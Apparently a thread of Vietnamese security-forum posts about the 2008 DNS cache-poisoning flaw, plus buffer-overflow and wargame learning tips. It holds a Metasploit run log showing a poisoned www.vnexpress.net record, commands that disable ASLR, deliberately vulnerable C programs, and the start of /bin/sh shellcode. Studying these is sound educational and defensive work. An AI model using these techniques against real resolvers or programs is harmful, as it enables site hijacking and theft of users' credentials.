|
|
lamer wrote:
Nếu không phải dùng birthday paradox thì trong cái exploit em đang dùng đó nó sẽ không gửi hàng loạt trả lời giả với QID trong một miền giá trị mà nó sẽ chỉ gửi một trả lời giả với một QID nhất định . Mục tiêu cuối cùng cũng chỉ là tăng khả năng trúng QID.
Đúng là mục tiêu cuối cùng là tăng khả năng đoán trúng QID, nhưng cái này không phải là birthday paradox.
Birthday paradox chỉ xảy ra khi một câu query của thằng attacker khiến thằng resolver gửi ra ngoài q > 1 câu query giống nhau, chỉ khác QID. Lúc này nhóm các câu trả lời giả của exploit sẽ có cơ hội *collision* với nhóm q câu trả lời, làm cho xác suất đoán trúng tăng đột biến.
Trong trường hợp này, q=1, nên không thể xảy ra birthday paradox ở đây. Xem thêm http://www.kb.cert.org/vuls/id/457875.
Việc exploit gửi ra một loạt trả lời giả với QID trong một miền giá trị chỉ nhằm mục đích tăng xác suất đoán trúng QID đối với câu query duy nhất mà resolver đã gửi ra ngoài trước đó. Xác suất đoán trúng lúc này sẽ là x/2^16, trong đó x là số lượng trả lời giả mà exploit gửi đối với mỗi câu query. Anh lưu ý là danh sách các QID giả này nó không thay đổi trong suốt thời gian exploit được chạy.
Mỗi lần gửi một query, xác suất đoán sai là 1-x/2^16. Các lần gửi query đều độc lập với nhau, cho nên xác suất đoán sai cho đến lần gửi query thứ n sẽ là (1-x/2^16)^n. Suy ra xác suất đoán đúng sẽ là 1 - (1-x/2^16)^n. Đó là công thức hồi nãy em có nói.
--m
|
|
|
Tui nghĩ bồ mfeng với anh lamer có nhầm lẫn. Cái này không phải là tấn công lợi dụng birthday paradox. Lý do là các query mà target gửi ra ngoài đều khác nhau (do câu hỏi khác nhau). Nếu lợi dụng được birthday paradox thì tấn công này có lẽ đã nhanh hơn rất nhiều rồi.
Công thức mà tui tính toán thế này:
Code:
P = 1 - (1 - X/2^16)^N, trong đó:
- X: số fake response ứng với một cặp (một query + một authorative DNS server)
- N: số query
Một vài con số tính toán:
* Với X = 10, N = 5000 là đã có thể có xác suất hơn 53% đoán đúng.
* Với X = 20, N = 5000 là đã có gần 96% đoán đúng
Tui cũng đã kiểm tra trong thực tế luôn, thấy với X = 10, và 5000 < N < 8000 là có thể thành công rồi với xác suất khá cao:
msf auxiliary(bailiwicked_host) > run
[*] Targeting nameserver 10.10.11.63 for injection of www.vnexpress.net. as 3.3.3.3
[*] Querying recon nameserver for vnexpress.net.'s nameservers...
[*] Got an NS record: vnexpress.net. 75809 IN NS dns010.d.register.com.
[*] Querying recon nameserver for address of dns010.d.register.com....
[*] Got an A record: dns010.d.register.com. 163883 IN A 216.21.236.10
[*] Checking Authoritativeness: Querying 216.21.236.10 for vnexpress.net....
[*] dns010.d.register.com. is authoritative for vnexpress.net., adding to list of nameservers to spoof as
[*] Got an NS record: vnexpress.net. 75809 IN NS dns026.c.register.com.
[*] Querying recon nameserver for address of dns026.c.register.com....
[*] Got an A record: dns026.c.register.com. 163880 IN A 216.21.235.26
[*] Checking Authoritativeness: Querying 216.21.235.26 for vnexpress.net....
[*] dns026.c.register.com. is authoritative for vnexpress.net., adding to list of nameservers to spoof as
[*] Got an NS record: vnexpress.net. 75809 IN NS dns131.a.register.com.
[*] Querying recon nameserver for address of dns131.a.register.com....
[*] Got an A record: dns131.a.register.com. 163879 IN A 216.21.231.131
[*] Checking Authoritativeness: Querying 216.21.231.131 for vnexpress.net....
[*] dns131.a.register.com. is authoritative for vnexpress.net., adding to list of nameservers to spoof as
[*] Got an NS record: vnexpress.net. 75809 IN NS dns238.b.register.com.
[*] Querying recon nameserver for address of dns238.b.register.com....
[*] Got an A record: dns238.b.register.com. 163878 IN A 216.21.232.238
[*] Checking Authoritativeness: Querying 216.21.232.238 for vnexpress.net....
[*] dns238.b.register.com. is authoritative for vnexpress.net., adding to list of nameservers to spoof as
[*] Attempting to inject a poison record for www.vnexpress.net. into 10.10.11.63:53...
[*] Sent 1000 queries and 40000 spoofed responses...
[*] Sent 2000 queries and 80000 spoofed responses...
[*] Sent 3000 queries and 120000 spoofed responses...
[*] Sent 4000 queries and 160000 spoofed responses...
[*] Sent 5000 queries and 200000 spoofed responses...
[*] Sent 6000 queries and 240000 spoofed responses...
[*] Sent 7000 queries and 280000 spoofed responses...
[*] Poisoning successful after 7250 attempts: www.vnexpress.net == 3.3.3.3
[*] Auxiliary module execution completed
--m
|
|
|
Mới có public exploit cho cái này: http://www.caughq.org/exploits/CAU-EX-2008-0002.txt.
Cái exploit này không được hiệu quả cho lắm (về mặt tốc độ), tuy vậy nó khá là thuận tiện bởi nó làm hết tất cả các công đoạn một cách tự động.
Sử dụng cái exploit này phải chú ý nhé, rất có thể đám Metasploit dùng nó để collect thông tin từ các server bị lỗi đó :-p. Ngoài ra nó cũng có một lỗi nhỏ, nên không thể dùng nó để khai thác các domain dạng www.xxx.com.vn. Tui có report cái lỗi này rồi, không biết đám Metasploit có sửa hay không.
Tui có viết một cái exploit bằng python, nhanh hơn nhưng bất tiện hơn, nay mai sẽ release.
To boom_jt, catdog: cái tool check đó nó không thể detect được các trường hợp DNS firewall đứng ngoài sau NAT device.
--m
|
|
|
Riêng ở HVA, thì mình thử bàn thêm làm sao khai thác lỗ hổng này? Đây là một bài post có nhiều thông tin từ một trong những người biết được chính xác về lỗ hổng này:
0.
The cat is out of the bag. Yes, Halvar Flake figured out the flaw Dan Kaminsky will announce at Black Hat.
1.
Pretend for the moment that you know only the basic function of DNS — that it translates WWW.VICTIM.COM into 1.2.3.4. The code that does this is called a resolver. Each time the resolver contacts the DNS to translate names to addresses, it creates a packet called a query. The exchange of packets is called a transaction. Since the number of packets flying about on the internet requires scientific notation to express, you can imagine there has to be some way of not mixing them up.
Bob goes to to a deli, to get a sandwich. Bob walks up to the counter, takes a pointy ticket from a round red dispenser. The ticket has a number on it. This will be Bob’s unique identifier for his sandwich acquisition transaction. Note that the number will probably be used twice — once when he is called to the counter to place his order and again when he’s called back to get his sandwich. If you’re wondering, Bob likes ham on rye with no onions.
If you’ve got this, you have the concept of transaction IDs, which are numbers assigned to keep different transactions in order. Conveniently, the first sixteen bits of a DNS packet is just such a unique identifier. It’s called a query id (QID). And with the efficiency of the deli, the QID is used for multiple transactions.
2.
Until very recently, there were two basic classes of DNS vulnerabilities. One of them involves mucking about with the QID in DNS packets and the other requires you to know the Deep Magic.
First, QIDs.
Bob’s a resolver and Alice is a content DNS server. Bob asks Alice for the address of WWW.VICTIM.COM. The answer is 1.2.3.4. Mallory would like the answer to be 6.6.6.0.
It is a (now not) secret shame of mine that for a great deal of my career, creating and sending packets was, to me, Deep Magic. Then it became part of my job, and I learned that it is surprisingly trivial. So put aside the idea that forging IP packets is the hard part of poisoning DNS. If I’m Mallory and I’m attacking Bob, how can he distinguish my packets from Alice’s? Because I can’t see the QID in his request, and the QID in my response won’t match. The QID is the only thing protecting the DNS from Mallory (me).
QID attacks began in the olden days, when BIND simply incremented the QID with every query response. If you can remember 1995, here’s a workable DNS attack. Think fast: 9372 + 1. Did you get 9372, or even miss and get 9373? You win, Alice loses. Mallory sends a constant stream of DNS responses for WWW.VICTIM.COM. All are quietly discarded —- until Mallory gets Bob to query for WWW.VICTIM.COM. If Mallory’s response gets to your computer before the legitimate response arrives from your ISP’s name server, you will be wwwected where Mallory tells you you’re going.
Obvious fix: you want the QID be randomly generated. Now Alice and Mallory are in a race. Alice sees Bob’s request and knows the QID. Mallory has to guess it. The first one to land a packet with the correct QID wins. Randomized QIDs give Alice a big advantage in this race.
But there’s a bunch more problems here:
*
If you convince Bob to ask Alice the same question 1000 times all at once, and Bob uses a different QID for each packet, you made the race 1000 times easier for Mallory to win.
*
If Bob uses a crappy random number generator, Mallory can get Bob to ask for names she controls, like WWW.EVIL.COM, and watch how the QIDs bounce around; eventually, she’ll break the RNG and be able to predict its outputs.
*
16 bits just isn’t big enough to provide real security at the traffic rates we deal with in 2008.
Your computer’s resolver is probably a stub. Which means it won’t really save the response. You don’t want it to. The stub asks a real DNS server, probably run by your ISP. That server doesn’t know everything. It can’t, and shouldn’t, because the whole idea of DNS is to compensate for the organic and shifting nature of internet naming and addressing. Frequently, that server has to go ask another, and so on. The cool kids call this “recursion”.
Responses carry another value, too, called a time to live (TTL). This number tells your name server how long to cache the answer. Why? Because they deal with zillions of queries. Whoever wins the race between Alice and Mallory, their answer gets cached. All subsequent responses will be dropped. All future requests for that same data, within the TTL, come from that answer. This is good for whoever wins the race. If Alice wins, it means Mallory can’t poison the cache for that name. If Mallory wins, the next 10,000 or so people that ask that cache where WWW.VICTIM.COM is go to 6.6.6.0.
3.
Then there’s that other set of DNS vulnerabilities. These require you to pay attention in class. They haven’t really been talked about since 1997. And they’re hard to find, because you have to understand how DNS works. In other words, you have to be completely crazy. Lazlo Hollyfeld crazy. I’m speaking of course of RRset poisoning.
DNS has a complicated architecture. Not only that, but not all name servers run the same code. So not all of them implement DNS in exactly the same way. And not only that, but not all name servers are configured properly.
I just described a QID attack that poisons the name server’s cache. This attack requires speed, agility and luck, because if the “real” answer happens to arrive before your spoofed one, you’re locked out. Fortunately for those of you that have a time machine, some versions of DNS provide you with another way to poison the name server’s cache anyway. To explain it, I will have to explain more about the format of a DNS packet.
DNS packets are variable in length and consist of a header, some flags and resource records (RRs). RRs are where the goods ride around. There are up to three sets of RRs in a DNS packet, along with the original query. These are:
*
Answer RR’s, which contain the answer to whatever question you asked (such as the A record that says WWW.VICTIM.COM is 1.2.3.4)
*
Authority RR’s, which tell resolvers which name servers to refer to to get the complete answer for a question
*
Additional RR’s, sometimes called “glue”, which contain any additional information needed to make the response effective.
A word about the Additional RR’s. Think about an NS record, like the one that COM’s name server uses to tell us that, to find out where WWW.VICTIM.COM is, you have to ask NS1.VICTIM.COM. That’s good to know, but it’s not going to help you unless you know where to find NS1.VICTIM.COM. Names are not addresses. This is a chicken and egg problem. The answer is, you provide both the NS record pointing VICTIM.COM to NS1.VICTIM.COM, and the A record pointing NS1.VICTIM.COM to 1.2.3.1.
Now, let’s party like it’s 1995.
Download the source code for a DNS implementation and hack it up such that every time it sends out a response, it also sends out a little bit of evil — an extra Additional RR with bad information. Then let’s set up an evil server with it, and register it as EVIL.COM. Now get a bunch of web pages up with IMG tags pointing to names hosted at that server.
Bob innocently loads up a page with the malicious tags which coerces his browser resolve that name. Bob asks Alice to resolve that name. Here comes recursion: eventually the query arrives at our evil server. Which sends back a response with an unexpected (evil) Additional RR.
If Alice’s cache honors the unexpected record, it’s 1995 —- buy CSCO! —- and you just poisoned their cache. Worse, it will replace the “real” data already in the cache with the fake data. You asked where WWW.EVIL.COM was (or rather, the image tags did). But Alice also “found out” where WWW.VICTIM.COM was: 6.6.6.0. Every resolver that points to that name server will now gladly forward you to the website of the beast.
4.
It’s not 1995. It’s 2008. There are fixes for the attacks I have described.
Fix 1:
The QID race is fixed with random IDs, and by using a strong random number generator and being careful with the state you keep for queries. 16 bit query IDs are still too short, which fills us with dread. There are hacks to get around this. For instance, DJBDNS randomizes the source port on requests as well, and thus won’t honor responses unless they come from someone who guesses the ~16 bit source port. This brings us close to 32 bits, which is much harder to guess.
Fix 2:
The RR set poisoning attack is fixed by bailiwick checking, which is a quirky way of saying that resolvers simply remember that if they’re asking where WWW.VICTIM.COM is, they’re not interested in caching a new address for WWW.GOOGLE.COM in the same transaction.
Remember how these fixes work. They’re very important.
And so we arrive at the present day.
5.
Let’s try again to convince Bob that WWW.VICTIM.COM is 6.6.6.0.
This time though, instead of getting Bob to look up WWW.VICTIM.COM and then beating Alice in the race, or getting Bob to look up WWW.EVIL.COM and slipping strychnine into his ham sandwich, we’re going to be clever (sneaky).
Get Bob to look up AAAAA.VICTIM.COM. Race Alice. Alice’s answer is NXDOMAIN, because there’s no such name as AAAAA.VICTIM.COM. Mallory has an answer. We’ll come back to it. Alice has an advantage in the race, and so she likely beats Mallory. NXDOMAIN for AAAAA.VICTIM.COM.
Alice’s advantage is not insurmountable. Mallory repeats with AAAAB.VICTIM.COM. Then AAAAC.VICTIM.COM. And so on. Sometime, perhaps around CXOPQ.VICTIM.COM, Mallory wins! Bob believes CXOPQ.VICTIM.COM is 6.6.6.0!
Poisoning CXOPQ.VICTIM.COM is not super valuable to Mallory. But Mallory has another trick up her sleeve. Because her response didn’t just say CXOPQ.VICTIM.COM was 6.6.6.0. It also contained Additional RRs pointing WWW.VICTIM.COM to 6.6.6.0. Those records are in-bailiwick: Bob is in fact interested in VICTIM.COM for this query. Mallory has combined attack #1 with attack #2, defeating fix #1 and fix #2. Mallory can conduct this attack in less than 10 seconds on a fast Internet link.
|
|
|
Gửi các bạn của tôi, mới đây một lỗ hổng bảo mật cực kỳ nghiêm trọng được phát hiện trong hệ thống DNS, xương sống của toàn bộ Internet.
Tận dụng lỗ hổng này, kẻ xấu có thể tấn công để đánh cắp tất cả thông tin trên Internet của bạn, chẳng hạn như chiếm quyền điều khiển blog của bạn, chôm mật khẩu để đọc trộm email hay giả danh bạn để chat trên Yahoo! Messenger. Tôi nhắc
lại, khi khai thác thành công lỗ hổng này, kẻ xấu hoàn toàn có thể chiếm quyền điều khiển cuộc sống online của bạn.
Bài này được viết để cung cấp thêm cho các bạn những thông tin cần biết về lỗ hổng này, cũng như các phương pháp phòng chống tạm thời, cho đến khi có giải pháp triệt để từ phía các ISP ở VN.
---
1. Giới thiệu về DNS
DNS viết tắt của Domain Name System, là hệ thống quản lý việc ánh xạ giữa địa chỉ của máy tính trên Internet với tên của chúng. Trên Internet, mỗi máy tính đều được cấp một địa chỉ riêng biệt, thường được gọi là IP address, tạm dịch là địa chỉ IP (IP viết tắt của Internet Protocol, giao thức điều khiển việc trao đổi thông tin liên lạc giữa hai máy tính trên Internet).
Địa chỉ IP thường dài và khó nhớ, phù hợp với máy tính, không phù hợp với trí nhớ của con người (thường chỉ có khả năng nhớ được tối đa 7 số tại một thời điểm), do đó người ta mới đặt cho mỗi máy tính một cái tên dễ nhớ, chẳng hạn như www.vnexpress.net, www.yahoo.com, www.tuoitre.com.vn..., rồi sử dụng hệ thống DNS nói trên để ánh xạ những tên này vào các địa chỉ IP thực sự của chúng.
Khi bạn gõ www.vnexpress.net vào trình duyệt và nhấn enter, máy tính của bạn sẽ hỏi máy chủ DNS của bạn (thường là máy chủ do ISP của bạn quản lý) địa chỉ của www.vnexpress.net là bao nhiêu. Máy chủ DNS của bạn sẽ đi hỏi những máy chủ DNS khác trên Internet, để rồi cuối cùng trả lời cho máy tính của bạn rằng, www.vnexpress.net chính là tên miền của máy tính có địa chỉ IP là 210.245.0.22. Máy tính của bạn sẽ căn cứ vào địa chỉ này để liên lạc với www.vnexpress.net và lấy về nội dung mà bạn muốn xem.
Nếu bạn nào sống ở Mỹ hay các nước tiên tiến, thì có thể hiểu hệ thống DNS tương tự như hệ thống Postal/Zip Code, dùng để ánh xạ giữa zip code với địa chỉ nhà bạn.
2. Thông tin chi tiết về lỗi
Lỗi tấn công ở đây xảy ra khi máy chủ DNS của bạn bị kẻ xấu cố tình cung cấp thông tin sai lệch, khiến nó nhầm tưởng địa chỉ IP của www.vnexpress.net không phải là 210.245.0.22 mà lại là một địa chỉ IP của một máy tính nằm trong sự điều khiển của hắn. Thuật ngữ chuyên ngành gọi đây là DNS cache poisoning attack.
Khi đó, lúc bạn gõ www.vnexpress.net, thay vì nhận được nội dung từ trang VnExpress thật, bạn sẽ nhận được nội dung giả mạo từ phía kẻ xấu. Điều nay cực kỳ nguy hại, bởi lẽ áp dụng kỹ thuật này, kẻ xấu có thể mạo danh tất cả các website trên thế giới, từ Google, Yahoo, Microsoft, Paypal hay website của ngân hàng hay công ty chứng khoán của bạn. Khi đã mạo danh các website này rồi, kẻ xấu sẽ có thể đánh cắp được tất cả tài khoản cá nhân của bạn trên những website này.
Nếu bạn đọc kỹ, bạn sẽ thấy kẻ xấu không trực tiếp tấn công vào máy tính của bạn, mà tấn công vào máy chủ DNS của bạn (do ISP của bạn quản lý và cung cấp lại cho bạn sử dụng).
Thật tế dạng tấn công này đã được thực hiện từ khá lâu và cũng đã có nhiều cách phòng chống hiệu quả, nhưng những kết quả nghiên cứu của các chuyên gia trên thế giới gần đây cho thấy, kẻ xấu có thể thực hiện việc tấn công này một cách rất dễ dàng. Một số nguồn tin cho rằng chỉ cần dưới 10s là kẻ xấu có thể tấn công một máy chủ DNS chưa được sửa lỗi.
3. Tình trạng các máy chủ DNS ở VN
Ngay khi phát hiện ra lỗ hổng này, các chuyên gia trên thế giới đã làm việc với nhau để tìm ra các phương pháp sửa lỗi. Các hãng phần mềm đều đã có cung cấp bảng vá lỗi cho phần mềm máy chủ DNS của họ.
Tuy vậy, theo tìm hiểu của tôi, mặc dù các bảng vá đã được phát hành gần 2 tuần, nhưng tất cả các máy chủ DNS của các ISP VN như FPT, VDC, Vietel, SCTV...đều chưa được vá lỗi.
Điều này có nghĩa là tất cả những ai sử dụng dịch vụ Internet (dial-up, ADSL hay leased line) của các ISP này đều có thể bị tấn công như mô tả ở trên.
Theo thông tin từ VNCERT, Đội phản ứng nhanh về các sự cố máy tính VN, họ cũng đã có cung cấp thông tin cho các ISP từ vài tuần trước, nhưng không nhận được phản hồi. Theo tôi được biết, trong nay mai, sẽ có một thông cáo báo chí của VNCERT về vấn đề này, để yêu cầu sự hợp tác từ phía các ISP.
4. Giải pháp tạm thời
Giải pháp tạm thời là không sử dụng Internet nữa, cho đến khi nào có thông tin mới. Haha tôi nói đùa đó .
Giải pháp tạm thời là thay vì sử dụng máy chủ DNS của các ISP VN, các bạn hãy chuyển sang sử dụng máy chủ DNS của công ty OpenDNS. Các máy chủ của OpenDNS đã được vá lỗi và công ty này cũng cho biết họ đã sẵn sàng để phục vụ chúng ta.
Thông tin chi tiết về việc cấu hình máy tính sử dụng máy chủ DNS của OpenDNS, các bạn có thể xem ở đây. Nếu có khó khăn gì, cứ báo cho tôi biết, nếu tôi hỗ trợ được tôi sẽ hỗ trợ.
5. Thông tin tham khảo
http://www.kb.cert.org/vuls/id/800113
http://isc.sans.org/diary.html?storyid=4687
Trước khi kết thúc, tôi muốn nhấn mạnh lại lần nữa đây là một lỗ hổng cực kỳ nghiêm trọng và ảnh hưởng trực tiếp đến mỗi người trong chúng ta.
--m
|
|
|
Tui vẫn chưa qua được level 11. Tài liệu dài quá, vẫn chưa đọc xong.
Bồ 4hfoo có cần giúp đỡ gì cho level 3 kô?
--m
|
|
|
quanta wrote:
- Nguyên nhân?
- Chúng ta biết được gì từ output trên?
- Chúng ta có thể kết luận gì?
- Đơn giản vì phía sau cái hop 203.162.95.46 là cái hop có IP address là 192.168.7.2. Cái host 203.162.95.46 có thể ở trong trạng thái multihomed, có 02 interface, một được assigned public IP là 203.162.95.46, còn một có thể assigned một private IP. Trong routing table của cái host 203.162.95.46, muốn reach được 203.162.168.130 thì phải đi qua một host có IP là 192.168.7.2.
Khi cái UDP packet hay ICMP Echo Request packet xuất phát từ host của bồ secmask đến được 192.168.7.2, TTL của nó bằng 0, nên cái host 192.168.7.2 mới gửi về một cái ICMP Time Exceeded, có destination address là address của secmask, nghĩa là đủ thông tin để routing rồi.
Khi packet này ra khỏi host 192.168.7.2, nó sẽ đến default gateway (hay cái gateway nào đó trong routing table của nó liên quan đến địa chỉ của secmask, tui đoán là default gateway, tự vì tui sử dụng mạng khác với secmask nhưng vẫn có kết quả tương tự). Khi đến default gateway của 192.168.7.2 (chúng ta không biết địa chỉ của thằng này, có thể không phải là 203.162.95.46), lẽ ra cái thằng layer 3 routing device tại đây phải thực hiện động tác SOURCE NAT, để thay cái địa chỉ của 192.168.7.2 bằng địa chỉ một trong các public interface của nó, rồi mới gửi đến next hop. Nhưng nó không làm việc này, và từ đây các hop về sau chỉ dùng thông tin dst IP (là IP của secmask) để routing mà thôi. Thực ra tui nghi ngờ là default, các layer 3 routing device sẽ không thực hiện SOURCE NAT cho ICMP Time Exceeded (và các loại ICMP replies khác), bởi lẽ đây là một packet không cần nhận được phản hồi từ phía người nhận.
Lưu ý ICMP là stateless, và các admin rất thường cho phép ICMP Time Exceeded đi vào hệ thống (để chi? để chạy được traceroute chứ chi :-p), nên packet này đến được host của secmask bình thường. Traceroute sẽ tách ra dst IP và src IP, rồi hiện ra như trên.
- Chúng ta có thể đoán được thế này:
* Host www.vnn.vn có thể nằm trong subnet 192.168.7.0/24.
- Chúng ta có thể kết luận:
* Nhớ thực hiện SOURCE NAT cho các loại ICMP replies, để tránh tiết lộ thông tin của internal network.
--m
|
|
|
He he mới đi chơi về, tối nay sẽ thử sức cái vortex 11. Cái này là về heap exploitation, tui cũng chưa đọc gì hết, tối nay sẽ thử đọc xem sao, hi vọng là sẽ giải quyết được. Thấy mấy cái level sau càng lúc càng hấp dẫn.
Bồ 4hfoo đến level bao nhiêu rồi?
--m
|
|
|
Mấy hôm nay tối nào tôi cũng chơi mấy cái wargame của đám PullThePlug ở http://www.overthewire.org/wargames.
Hiện tôi đang chơi Vortex, chuyên về software exploitation. Thằng Vortex này thì một số level khá đơn giản, chỉ cần kiến thức về *nix là giải quyết được, nhưng cũng có một số level đòi hỏi phải có kiến thức về software exploitation, bao gồm reverse engineering, cách khai thác các bug thông thường và viết shellcode. Tuy vậy nó không thực sự quá khó, nếu so sánh với các daemon ở các cuộc thi CTF thì có thể nói là dễ hơn nhiều (bởi vì không cần tìm bug, chỉ cần khai thác thôi, bug nó hiện rõ ra như ban ngày; việc khai thác cũng không bị quá nhiều ràng buộc).
Hôm qua đến giờ tôi đang bị kẹt ở một level của thằng Vortex mà lười đọc tài liệu nên chuyển qua chơi thằng Semtex, thấy cũng hấp dẫn lắm. Thằng Semtex thì thiên về programming hơn.
Bà con chơi thử, rồi cùng nhau bàn luận cách giải cho vui .
--m
|
|
|
@xtinhcau: tôi nghĩ đọc sách những đề tài thế này, thường sẽ dẫn đến hai tình huống:
1. tưởng là hiểu nhưng hóa ra không hiểu gì hết.
2. tưởng là hiểu nhưng hóa ra chỉ là nhớ.
cả hai tình huống này đều dẫn đến một kết quả: làm không được.
Tôi nghĩ chỉ nên nghĩ là "đã hiểu" một khi có thể tự phân tích và tự giải quyết được những vấn đề tương tự nhưng khác hoặc mới hơn những vấn đề mà sách đưa ra.
Kiến thức mà mình tự gain được, bao giờ cũng bền chắc hơn rất nhiều kiến thức mà người khác nhồi vào đầu mình.
Nên người thầy mà dạy tốt, là người chỉ hướng dẫn, chứ không làm thay, rồi để học trò tự giải quyết vấn đề của họ. Sách thường kô làm được điều này, bởi lẽ nó không có tương tác giữa thầy và trò, dẫn đến việc sách nói một đường, trò hiểu một nẻo, nhưng sách không có cách nào để nhận ra là trò đang hiểu sai, để kịp thời điều chỉnh. Một vấn đề nữa là sách thường hay lan man, nói những thứ không cần thiết. Còn thầy thì, nhờ kinh nghiệm, biết rõ cái gì là cần thiết, cần phải tập trung vào đó.
Nói chung là nên tìm một ông thầy tốt như anh lamer :p.
--m
|
|
|
@vikjava: tôi nghĩ mới bắt đầu làm thì mới dễ để mà kiện toàn bảo mật đó bồ. Tôi nghĩ anh conmale và anh lamer đã cảnh báo khá đầy đủ rồi, nếu chỉ nghĩ security là vấn đề kĩ thuật, và giao cho một nhóm nhỏ làm networking phụ trách, thì sẽ sớm phá sản.
Tôi nghĩ việc trước tiên bồ cần phải làm, là tư vấn lại cho người đứng đầu về dự án này của bên bồ (nên là những người ở cấp C), muốn triển khai một dự án serious như e-banking, thì đòi hỏi phải có những người có kinh nghiệm. Nếu nội tại không có, thì phải thuê bên ngoài.
--m
|
|
|
xtinhcau wrote:
Xin chào các bạn, mình cũng mắc phải một vấn đề như vậy. Nghĩa là, mình đọc sách bắt đầu từ các ví dụ đơn giản và cố gắng hiểu cơ chế của nó. Mình nghĩ là cũng tương đối hiểu cơ chế đó, nhưng cứ đến khi chạy chương trình exploit lại không được như ý muốn. Vậy mình xin hỏi các bạn có kinh nghiệm
- Tạo 1 "môi trường đơn giản" là như thế nào? (phải chăng phải dựng lại hệ thống với compiler + kernel cũ xưa)
- Để có thể học đúng cách về BoF thì nên tiến hành các bước cụ thể thế nào? (B1: Thử với "môi trường đơn giản"; B2: Một số vấn đề với các hệ thống ngày nay,...?)
Cảm ơn các bạn.
Như đã nói ở trên, có hai yếu tố ảnh hưởng rất lớn đến việc tìm hiểu về các lỗi memory corruption là compiler và kernel. Nên suy nghĩ của bồ là chính xác. Tuy vậy, không cần phải dựng lại hệ thống, bồ chỉ cần cài đặt compiler cũ (cỡ gcc < 4) và disable các tính năng *bảo vệ* của kernel là được.
Ví dụ như nếu bồ sử dung Ubuntu, thì chỉ cần làm những việc sau đây:
Code:
$ sudo apt-get install gcc-3.3
$ sudo su -c "echo 0 > /proc/sys/kernel/randomize_va_space"
là bồ đã có được một môi trường đơn giản để chơi rồi.
--m
|
|
|
Thử sửa chương trình lại thế này
Code:
int main(int argc, char *argv[])
{
char buffer[500];
strcpy(buffer, argv[1]);
printf(argv[3]);
}
Rồi chạy:
Code:
Xem nó có in ra cái gì không? :p
Sau khi đã xơi em này, thử tiếp em này còn độc địa hơn:
Code:
int main(int argc, char *argv[])
{
if (argc) exit(0);
printf(argv[3]);
exit(0);
}
--m
|
|
|
Àh chê đơn giản àh, thế thì lên SourceForge.NET hoặc Google Code mà tìm. Có cả triệu phần mềm trên đó, thằng nào cũng có thể có lỗi. Có thể dùng http://www.koders.com/ để search.
Còn muốn *hấp dẫn hơn* thì lấy source code của những phần mềm popular như Firefox, Linux kernel về mà tìm.
Có một cách nữa là lên Milkw0rm hoặc CVE, dò tìm những exploit hay advisory có liên quan đến những phần mềm open source.
Phrack số mới nhất cũng có một bài phân tích lỗi của SAMBA WINS: http://www.phrack.org/issues.html?issue=65&id=12#article
--m
|
|
|
lamer wrote:
Vả lại "đoán" cũng chỉ là "đoán", không phải là "chỉ điểm".
Theo kinh nghiệm của mình thì đây thật sự là một cách học sai. Cách học đúng sẽ chỉ cho bạn cách "chỉ điểm". Từ đó mới bắt đầu phát triển lên để vượt rào ASLR này nọ.
Yeah yeah yeah! :d
Một vấn đề cần phải lưu ý là các tài liệu viết về buffer overflow đa số đều dựa trên các môi trường (compiler + kernel) cũ xưa, mà môi trường bây giờ thì đã thay đổi rất nhiều rồi (theo chiều hướng ngày càng khó khai thác). Nên đừng ngạc nhiên nếu tại sao đọc tài liệu rồi làm theo mà vẫn kô làm được.
Muốn học mấy cái này, như sư phụ lamer nói, thì phải có một môi trường thật đơn giản, để từ đó, mình có thể "chỉ tận tay, day tận mặt" cách chương trình bị khai thác, y như trong mấy cái tài liệu classic.
Một khi đã hiểu cái cốt lõi của vấn đề rồi, thì việc qua mặt mấy thằng như ASLR chủ yếu là dựa vào mẹo vặt mà thôi.
--m
|
|
|
Mr.Khoai wrote:
Đó chính là câu hỏi của khoai. Khi mình không gọi nó (đặc biệt là khi vuln ở một remote host) thì mình dựa vào đâu để đoán ra return address? Như vậy không lẽ cùng một đoạn code khi run sẽ được đặt tại một vùng nhớ nhất định (đương nhiên là trên cùng OS)?
Muốn khai thác một chương trình nào đó, thì phải đạt được 2 điều kiện:
1. đưa được dữ liệu vào: đưa vào cái gì, đưa khi nào và đưa bằng cách nào.
2. quan sát được cách chương trình xử lý dữ liệu đưa vào: static analysis và/hay dynamic analysis.
Static analysis là dùng disassembler hay decompiler để phân tích mã nguồn của chương trình, và từ đó dự đoán cách thức chương trình sẽ xử lý dữ liệu đưa vào.
Dynamic analysis là dùng debugger, tracer, profiler để chạy chương trình và kiểm tra thực tế xem chương trình có thực thi đúng như những gì đã dự đoán khi làm static analysis kô.
Trong nhiều trường hợp, chỉ thực hiện được một trong hay cách phân tích này mà thôi, hoặc thậm chí, không thực hiện được cách phân tích nào (như ví dụ mà bồ đưa ra, chương trình vuln nằm ở remote host, chúng ta kô có source code cũng kô có binary để chạy thử), thì chúng ta phải dựa vào điều kiện thứ 2'.
2'. quan sát được kết quả trả về của chương trình. Cái này giống như chosen-plaintext attack, ta nhập input, ta thấy được output, giờ nhiệm vụ là tìm hiểu cách thức chương trình xử lý, tìm lỗ hổng trong cách xử lý đó, rồi khai thác (khác chosen-plaintext attack ở chỗ, cái cần tìm kô phải là key, mà lại là algorithm).
Trong đa số trường hợp, ta có source code hoặc binary của chương trình muốn khai thác, việc còn lại là dựng lại một môi trường giống môi trường của target mà ta muốn khai thác (ví dụ như target chạy Windows XP Sp2, thì ta cũng phải có một môi trường giống y như vậy), rồi tiến hành phân tích, chạy thử trên môi trường nội bộ, sau khi đã thành công trên môi trường nội bộ rồi, thì mới tiến hành khai thác target.
Trong những trường hợp ta không có source code hoặc binary của chương trình muốn khai thác, mà chỉ được quyền nhập input và quan sát output, thì tùy trường hợp mà có khai thác được hay không.
Mr.Khoai wrote:
Câu này tương tự như câu đầu tiên, gamma hay ai có tài liệu về memory management trên linux thì xin send cho khoai.
Tài liệu về vấn đề này chủ yếu là cách làm việc của loader trong Linux và cấu trúc của file ELF. Bồ có thể bắt đầu bằng http://en.wikipedia.org/wiki/Executable_and_Linkable_Format.
--m
|
|
|
Mr.Khoai wrote:
Giả sử ta có một chương trình như sau:Code:
/*
* vuln.c
*/
int main(int argc, char *argv[])
{
char buffer[500];
strcpy(buffer, argv[1]);
return 0;
}
Và kiểm tra thử:Code:
$ gcc -o vuln vuln.c
...
$ ./vuln
Segmentation fault
$ ./vuln test
$ ./vuln `perl -e 'print "A"x600;'`
Segmentation fault
Sau đó, ta có thêm một đoạn code exploit.c như sau:Code:
#include <stdio.h>
#include <stdlib.h>
char shellcode[]=
"\x6a\x0b" // push $0xb
"\x58" // pop %eax
"\x99" // cltd
"\x52" // push %edx
"\x68\x2f\x2f\x73\x68" // push $0x68732f2f
"\x68\x2f\x62\x69\x6e" // push $0x6e69622f
"\x89\xe3" // mov %esp,%ebx
